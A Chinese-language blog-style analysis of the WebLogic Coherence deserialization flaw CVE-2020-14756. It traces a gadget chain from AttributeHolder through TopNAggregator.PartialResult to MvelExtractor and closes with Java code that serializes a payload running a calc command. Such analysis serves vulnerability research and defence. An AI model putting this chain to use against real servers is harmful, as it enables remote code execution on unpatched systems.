0%

Weblogic反序列化漏洞分析(CVE-2020-14756)

已有相关文章,就抄下作业。

先从 com.tangosol.util.ExternalizableHelper 开始,其 readObject 方法的入参是 DataInput 类的,最终会执行到 readObjectInternal 方法
image

nType 的值是 10 时,会执行 readExternalizableLite 方法:
image

而这个 nType 是根据反序列化对象的类来判断的:
image

进入 readExternalizableLite 方法,该方法中可以 loadclass,这个 classExternalizableLite 类,因为是二次反射,所以不经过黑名单的限制:
image

之后,调用到这个 classreadExternal 方法:
image

由于 Extractor 基本上都实现了 ExternalizableLite 这个接口,所以可以用 MvelExtractor 这个利用链,通过以 readExternal(DataInput in)source,以 com.tangosol.util.extractor.AbstractExtractor#compare 为sink,作者找到了 TopNAggregator.PartialResult,该类也继承 ExternalizableLite:
image

且在 readExternal 中调用了自身的 add 方法,同时也注意到 this.m_comparator 也是通过 ExternalizableHelper.readObject 获得的,所以用之前的漏洞利用链 MvelExtractor 是可以的,在看 add 方法:
image

调用了 this.m_comparator.compare ,刚好接上利用链,同时为了不满足 this.size() < this.m_cMaxSize 所以必须给 this.size() 一个值,跟进:
image

发现是在父类中,NavigableMapsize ,反射插入即可。

sink 解决了,在看 source ,因为 com.tangosol.util.ExternalizableHelperreadObject 方法的入参是 DataInput 类的,所以无法直接反序列化执行,现在需要找个类的 readExternal(ObjectInput in) 或者 readObject(ObjectInputStream in) 中有 ExternalizableHelper.readObject 且其对应的是 Object 而不是特定的类,这里找到了 com.tangosol.coherence.servlet.AttributeHolder:
image

这里还有个问题,就是 m_oValue 虽然是 Object 但是有 transient 修饰,按理来说不应该参加反序列化,但这里用的是 readExternal,而 transient 关键字只能与 Serializable 接口搭配使用
image

以上刚好构造好了整合利用链,相关代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
MvelExtractor extractor = new MvelExtractor("Runtime.getRuntime().exec(\"calc\");");

TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult((Comparator)extractor, 1);

NavigableMap<Object, Object> map = new TreeMap<>();
AttributeHolder attributeHolder = new AttributeHolder();
try {
Field field1 = SortedBag.class.getDeclaredField("m_map");
field1.setAccessible(true);
map.put("1", "1");
field1.set(partialResult, map);

Field field = AttributeHolder.class.getDeclaredField("m_oValue");
field.setAccessible(true);
field.set(attributeHolder, partialResult);
File f = new File("tmp.ser");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(f));
obj.writeObject(attributeHolder);
obj.close();
} catch (Exception e) {
e.printStackTrace();
}

image

在这个漏洞中,最重要的感觉还是 loadclass 这个点,其他基于这个点的 sourcesink 都可以通过半自动化得到。